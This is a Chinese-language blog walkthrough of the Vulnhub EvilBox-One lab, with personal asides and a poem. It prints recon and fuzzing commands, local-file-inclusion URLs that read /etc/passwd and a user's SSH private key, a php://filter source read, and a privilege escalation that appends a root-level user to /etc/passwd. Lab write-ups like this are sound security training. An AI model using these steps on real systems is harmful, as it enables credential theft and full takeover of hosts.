Vulnhub EvilBox-One Walkthrough


Vulnhub EvilBox-One Walkthrough

前言

说起来这个靶场,可能是我见过的里面相对而言比较简单的一个了,简单的使用了一下 php伪协议,然后使用 FUZZ 爆破一下参数什么的。基本上就出来了。

这个不是重点,重点是这个疫情为什么还不过去啊,现在已经到了一天诅咒这个疫情一次的程度了,抓狂中。。。不过又到了老规矩了,此时此刻吟诗一首。哈哈哈。

小重山
岳飞

昨夜寒蛩不住鸣。

惊回千里梦,已三更。

起来独自绕阶行。

人悄悄,帘外月胧明。

白首为功名。

旧山松竹老,阻归程。

欲将心事付瑶琴。

知音少,弦断有谁听?

昨晚上看抖音看见一句话说的很好,挺有感触的,在此分享给大家。

茫茫世间,安有纯善无邪。安有极正无恶。罢了,生之为人,终难成圣啊。

文章的结构大致上是这个样子的:

  1. 获取目标主机的 IP
  2. 扫描端口信息
  3. 枚举 HTTP
  4. 提权

废话不多说,直接开干

Let’s Go!!!

信息收集

IP 信息

实话实说,nmap 那个东西确实是牛逼,但是就是太慢了,所以我们这个是单纯的收集 IP 信息嘛,所以使用 netdiscover 扫描当前的网段。

netdiscover 10.0.2.0/24

经过排除,发现这个目标主机的地址是最后一个。

端口信息

那么还是老样子,继续进行端口扫描,至于为什么,我就不过多的解释了。

nmap -A 10.0.2.4 -p-

既然是这个样子,那我就放心了,只开放了简单的两个端口,那就直接去浏览器访问一下看看什么样子。

枚举 HTTP 敏感目录

dirb && nikto

上面已经看了网页,也已经看了源代码了,但是并没有发现什么有价值的信息,所有我就直接上工具扫描了,首先使用 dirb,但是友情的提醒,不要抱有太大的期待,经过做了这么多的靶场的心得体会。那就是不要奢望只是简单的使用一个工具就可以达成一个好的结果,更换字典、更换工具,那就是家常便饭了。

dirb http://10.0.2.4nikto -h http://10.0.2.4/

dirb nikto
robots.txt secret

然而上面也并没有什么好的信息利用,这个时候经验的重要性就来了,按照经验来说这个一定是要扫描子目录的,而且一定要是大字典,但是不妨先用默认的工具扫一下,说不定那就有。

gobuster dir -u http://10.0.2.4/secret/ -w /usr/share/wordlists/dirb/big.txt -x .php .txt .bak

gobuster

到最后还是你牛逼啊。既然已经有一些进展了,就访问一下这个文件试一下。

php 伪协议与 LFI

可以看出这个文件里面也是什么都没有,那么问题来了,接下来怎么办?按照之前的靶场来说,这个地方一般都是命令执行或者是文件包含啊。但是参数是什么啊?既然不知道,那就来爆破一下好了。请上神器 ffuf

ffuf -c -r -u ‘http://10.0.2.4/secret/evil.php?FUZZ=/etc/passwd‘ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fs 0

尝试包含了一下 http://10.0.2.4/secret/evil.php?command=/var/log/auth.log 然后发现是不行的,做到这里那就说明有一些敏感的文件是不能包含的。那么这个时候突然想起来之前做个一个靶场是使用 ssh 私钥 登陆的,那么尝试包含一下试试。http://10.0.2.4/secret/evil.php?command=/home/mowree/.ssh/id_rsa 结果是可以的,那就好起来了啊。

对了到这还没看一下这个 evil.php 里面是啥呢。使用PHP伪协议转成base64编码,将文件内容读出来。

http://10.0.2.4/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=evil.php

回到正题,现在将那个一大串的ssh的秘钥文件复制成一个文件。使用 ssh2john 解密一下。

提权

登陆ssh

ssh mowree@10.0.2.4 -i rsa.txt

flag-1

好吧,其实这个没什么用,它是一个普通用户的flag有什么用,咱们要的是 root 的啊。而且简单查看了一下这个普通用户确实是什么权限都没有 sudo 什么的简直是做梦;这个时候我们的 niubi.sh 就要派上用场了,就是绿色框框那个。

那么既然这个文件我们是可以写入的,那这个靶场基本上就是拿下了,写一个 uid 为 0 的用户进去,那我们就是 root 了。

openssl passwd -1 123

echo 'fancy:$1$GzuoPPyT$VcrtnMfy8uuezxAZoWAnl1:0:0:root:/root:/bin/bash' >> /etc/passwd

flag-2

如上图所示。


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录